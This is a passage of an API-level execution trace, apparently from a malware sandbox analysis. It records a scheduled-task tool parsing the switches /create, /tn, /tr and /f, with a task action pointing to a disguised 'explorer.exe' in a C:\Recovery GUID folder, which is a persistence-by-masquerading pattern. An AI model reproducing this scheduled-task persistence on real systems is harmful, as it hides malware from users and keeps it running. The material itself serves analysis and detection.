(lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0137.406] SetLastError (dwErrCode=0x490) [0137.406] lstrlenW (lpString="sc") returned 2 [0137.406] lstrlenW (lpString="sc") returned 2 [0137.406] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.406] lstrlenW (lpString="mo") returned 2 [0137.406] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.406] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|sc|") returned 4 [0137.406] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|mo|") returned 4 [0137.406] lstrlenW (lpString="|sc|") returned 4 [0137.406] lstrlenW (lpString="|mo|") returned 4 [0137.406] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0137.406] SetLastError (dwErrCode=0x490) [0137.407] lstrlenW (lpString="mo") returned 2 [0137.407] lstrlenW (lpString="mo") returned 2 [0137.407] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.407] lstrlenW (lpString="mo") returned 2 [0137.407] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.407] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|mo|") returned 4 [0137.407] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|mo|") returned 4 [0137.407] lstrlenW (lpString="|mo|") returned 4 [0137.407] lstrlenW (lpString="|mo|") returned 4 [0137.407] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0137.407] SetLastError (dwErrCode=0x0) [0137.407] SetLastError (dwErrCode=0x0) [0137.407] lstrlenW (lpString="13") returned 2 [0137.407] lstrlenW (lpString="-/") returned 2 [0137.407] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0137.407] SetLastError (dwErrCode=0x490) [0137.407] SetLastError (dwErrCode=0x490) [0137.407] SetLastError (dwErrCode=0x0) [0137.407] lstrlenW (lpString="13") returned 2 [0137.407] StrChrIW (lpStart="13", wMatch=0x3a) returned 0x0 [0137.407] SetLastError (dwErrCode=0x490) [0137.407] SetLastError (dwErrCode=0x0) [0137.407] _memicmp (_Buf1=0x26d560, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.407] lstrlenW (lpString="13") returned 2 [0137.407] lstrlenW (lpString="13") returned 2 [0137.407] lstrlenW (lpString=" \x09") returned 2 [0137.407] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0137.407] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0137.407] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0137.408] GetLastError () returned 0x0 [0137.408] lstrlenW (lpString="13") returned 2 [0137.408] lstrlenW (lpString="13") returned 2 [0137.408] GetProcessHeap () returned 0x250000 [0137.408] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x6) returned 0x26b9d0 [0137.408] SetLastError (dwErrCode=0x0) [0137.408] SetLastError (dwErrCode=0x0) [0137.408] lstrlenW (lpString="/tr") returned 3 [0137.408] lstrlenW (lpString="-/") returned 2 [0137.408] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.408] lstrlenW (lpString="create") returned 6 [0137.408] lstrlenW (lpString="create") returned 6 [0137.408] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.408] lstrlenW (lpString="tr") returned 2 [0137.408] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.408] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|create|") returned 8 [0137.408] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.408] lstrlenW (lpString="|create|") returned 8 [0137.408] lstrlenW (lpString="|tr|") returned 4 [0137.408] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0137.408] SetLastError (dwErrCode=0x490) [0137.408] lstrlenW (lpString="?") returned 1 [0137.408] lstrlenW (lpString="?") returned 1 [0137.408] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.408] lstrlenW (lpString="tr") returned 2 [0137.408] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.408] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|?|") returned 3 [0137.409] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.409] lstrlenW (lpString="|?|") returned 3 [0137.409] lstrlenW (lpString="|tr|") returned 4 [0137.409] SetLastError (dwErrCode=0x490) [0137.409] lstrlenW (lpString="s") returned 1 [0137.409] lstrlenW (lpString="s") returned 1 [0137.409] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.409] lstrlenW (lpString="tr") returned 2 [0137.409] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.409] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|s|") returned 3 [0137.409] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.409] lstrlenW (lpString="|s|") returned 3 [0137.409] lstrlenW (lpString="|tr|") returned 4 [0137.409] SetLastError (dwErrCode=0x490) [0137.409] lstrlenW (lpString="u") returned 1 [0137.409] lstrlenW (lpString="u") returned 1 [0137.409] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.409] lstrlenW (lpString="tr") returned 2 [0137.409] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.409] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|u|") returned 3 [0137.409] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.409] lstrlenW (lpString="|u|") returned 3 [0137.409] lstrlenW (lpString="|tr|") returned 4 [0137.409] SetLastError (dwErrCode=0x490) [0137.409] lstrlenW (lpString="p") returned 1 [0137.409] lstrlenW (lpString="p") returned 1 [0137.409] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.409] lstrlenW (lpString="tr") returned 2 [0137.410] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.410] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|p|") returned 3 [0137.410] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.410] lstrlenW (lpString="|p|") returned 3 [0137.410] lstrlenW (lpString="|tr|") returned 4 [0137.410] SetLastError (dwErrCode=0x490) [0137.410] lstrlenW (lpString="ru") returned 2 [0137.410] lstrlenW (lpString="ru") returned 2 [0137.410] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.410] lstrlenW (lpString="tr") returned 2 [0137.410] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.410] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|ru|") returned 4 [0137.410] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.410] lstrlenW (lpString="|ru|") returned 4 [0137.410] lstrlenW (lpString="|tr|") returned 4 [0137.410] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0137.410] SetLastError (dwErrCode=0x490) [0137.410] lstrlenW (lpString="rp") returned 2 [0137.410] lstrlenW (lpString="rp") returned 2 [0137.410] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.410] lstrlenW (lpString="tr") returned 2 [0137.410] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.410] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|rp|") returned 4 [0137.410] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.410] lstrlenW (lpString="|rp|") returned 4 [0137.410] lstrlenW (lpString="|tr|") returned 4 [0137.410] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0137.411] SetLastError (dwErrCode=0x490) [0137.411] lstrlenW (lpString="sc") returned 2 [0137.411] lstrlenW (lpString="sc") returned 2 [0137.411] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.411] lstrlenW (lpString="tr") returned 2 [0137.411] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.411] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|sc|") returned 4 [0137.411] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.411] lstrlenW (lpString="|sc|") returned 4 [0137.411] lstrlenW (lpString="|tr|") returned 4 [0137.411] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0137.411] SetLastError (dwErrCode=0x490) [0137.411] lstrlenW (lpString="mo") returned 2 [0137.411] lstrlenW (lpString="mo") returned 2 [0137.411] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.411] lstrlenW (lpString="tr") returned 2 [0137.411] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.411] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|mo|") returned 4 [0137.411] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.411] lstrlenW (lpString="|mo|") returned 4 [0137.411] lstrlenW (lpString="|tr|") returned 4 [0137.411] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0137.411] SetLastError (dwErrCode=0x490) [0137.411] lstrlenW (lpString="d") returned 1 [0137.411] lstrlenW (lpString="d") returned 1 [0137.411] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.411] lstrlenW (lpString="tr") returned 2 [0137.411] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.412] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|d|") returned 3 [0137.412] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.412] lstrlenW (lpString="|d|") returned 3 [0137.412] lstrlenW (lpString="|tr|") returned 4 [0137.412] SetLastError (dwErrCode=0x490) [0137.412] lstrlenW (lpString="m") returned 1 [0137.412] lstrlenW (lpString="m") returned 1 [0137.412] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.412] lstrlenW (lpString="tr") returned 2 [0137.412] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.412] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|m|") returned 3 [0137.412] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.412] lstrlenW (lpString="|m|") returned 3 [0137.412] lstrlenW (lpString="|tr|") returned 4 [0137.412] SetLastError (dwErrCode=0x490) [0137.412] lstrlenW (lpString="i") returned 1 [0137.412] lstrlenW (lpString="i") returned 1 [0137.412] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.412] lstrlenW (lpString="tr") returned 2 [0137.412] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.412] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|i|") returned 3 [0137.412] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.412] lstrlenW (lpString="|i|") returned 3 [0137.412] lstrlenW (lpString="|tr|") returned 4 [0137.412] SetLastError (dwErrCode=0x490) [0137.434] lstrlenW (lpString="tn") returned 2 [0137.434] lstrlenW (lpString="tn") returned 2 [0137.434] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.435] lstrlenW (lpString="tr") returned 2 [0137.435] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.435] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.435] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.435] lstrlenW (lpString="|tn|") returned 4 [0137.435] lstrlenW (lpString="|tr|") returned 4 [0137.435] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0137.435] SetLastError (dwErrCode=0x490) [0137.435] lstrlenW (lpString="tr") returned 2 [0137.435] lstrlenW (lpString="tr") returned 2 [0137.435] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.435] lstrlenW (lpString="tr") returned 2 [0137.435] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.435] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.435] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.435] lstrlenW (lpString="|tr|") returned 4 [0137.435] lstrlenW (lpString="|tr|") returned 4 [0137.435] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0137.435] SetLastError (dwErrCode=0x0) [0137.435] SetLastError (dwErrCode=0x0) [0137.435] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.435] lstrlenW (lpString="-/") returned 2 [0137.435] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0137.435] SetLastError (dwErrCode=0x490) [0137.435] SetLastError (dwErrCode=0x490) [0137.435] SetLastError (dwErrCode=0x0) [0137.435] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.435] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'" [0137.436] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.436] _memicmp (_Buf1=0x26c350, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.436] _memicmp (_Buf1=0x26d500, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.436] SetLastError (dwErrCode=0x7a) [0137.436] SetLastError (dwErrCode=0x0) [0137.436] SetLastError (dwErrCode=0x0) [0137.436] lstrlenW (lpString="'C") returned 2 [0137.436] lstrlenW (lpString="-/") returned 2 [0137.436] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0137.436] SetLastError (dwErrCode=0x490) [0137.436] SetLastError (dwErrCode=0x490) [0137.436] SetLastError (dwErrCode=0x0) [0137.436] _memicmp (_Buf1=0x26d560, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.436] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.436] GetProcessHeap () returned 0x250000 [0137.436] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d580) returned 1 [0137.436] GetProcessHeap () returned 0x250000 [0137.436] RtlReAllocateHeap (Heap=0x250000, Flags=0xc, Ptr=0x26d580, Size=0x80) returned 0x26c290 [0137.436] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.436] lstrlenW (lpString=" \x09") returned 2 [0137.436] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0137.436] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0137.436] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0137.436] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0137.436] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0137.436] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0137.436] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0137.436] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0137.436] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0137.436] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0137.437] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0137.438] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0137.438] GetLastError () returned 0x0 [0137.438] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.438] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.438] SetLastError (dwErrCode=0x0) [0137.438] SetLastError (dwErrCode=0x0) [0137.438] lstrlenW (lpString="/f") returned 2 [0137.439] lstrlenW (lpString="-/") returned 2 [0137.439] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.439] lstrlenW (lpString="create") returned 6 [0137.439] lstrlenW (lpString="create") returned 6 [0137.439] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.439] lstrlenW (lpString="f") returned 1 [0137.439] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.439] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|create|") returned 8 [0137.439] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.439] lstrlenW (lpString="|create|") returned 8 [0137.439] lstrlenW (lpString="|f|") returned 3 [0137.439] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0137.439] SetLastError (dwErrCode=0x490) [0137.439] lstrlenW (lpString="?") returned 1 [0137.439] lstrlenW (lpString="?") returned 1 [0137.439] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.439] lstrlenW (lpString="f") returned 1 [0137.439] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.439] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|?|") returned 3 [0137.439] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.439] lstrlenW (lpString="|?|") returned 3 [0137.439] lstrlenW (lpString="|f|") returned 3 [0137.439] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0137.439] SetLastError (dwErrCode=0x490) [0137.439] lstrlenW (lpString="s") returned 1 [0137.439] lstrlenW (lpString="s") returned 1 [0137.439] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.440] lstrlenW (lpString="f") returned 1 [0137.440] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.440] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|s|") returned 3 [0137.440] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.440] lstrlenW (lpString="|s|") returned 3 [0137.440] lstrlenW (lpString="|f|") returned 3 [0137.440] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0137.440] SetLastError (dwErrCode=0x490) [0137.440] lstrlenW (lpString="u") returned 1 [0137.440] lstrlenW (lpString="u") returned 1 [0137.440] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.440] lstrlenW (lpString="f") returned 1 [0137.440] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.440] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|u|") returned 3 [0137.440] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.440] lstrlenW (lpString="|u|") returned 3 [0137.440] lstrlenW (lpString="|f|") returned 3 [0137.440] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0137.440] SetLastError (dwErrCode=0x490) [0137.440] lstrlenW (lpString="p") returned 1 [0137.440] lstrlenW (lpString="p") returned 1 [0137.440] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.440] lstrlenW (lpString="f") returned 1 [0137.440] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.440] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|p|") returned 3 [0137.440] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.441] lstrlenW (lpString="|p|") returned 3 [0137.441] lstrlenW (lpString="|f|") returned 3 [0137.441] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0137.441] SetLastError (dwErrCode=0x490) [0137.441] lstrlenW (lpString="ru") returned 2 [0137.441] lstrlenW (lpString="ru") returned 2 [0137.441] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.441] lstrlenW (lpString="f") returned 1 [0137.441] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.441] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|ru|") returned 4 [0137.441] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.441] lstrlenW (lpString="|ru|") returned 4 [0137.441] lstrlenW (lpString="|f|") returned 3 [0137.441] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0137.441] SetLastError (dwErrCode=0x490) [0137.441] lstrlenW (lpString="rp") returned 2 [0137.441] lstrlenW (lpString="rp") returned 2 [0137.441] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.441] lstrlenW (lpString="f") returned 1 [0137.441] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.441] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|rp|") returned 4 [0137.441] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.441] lstrlenW (lpString="|rp|") returned 4 [0137.441] lstrlenW (lpString="|f|") returned 3 [0137.441] StrStrIW (lpFirst="|rp|", 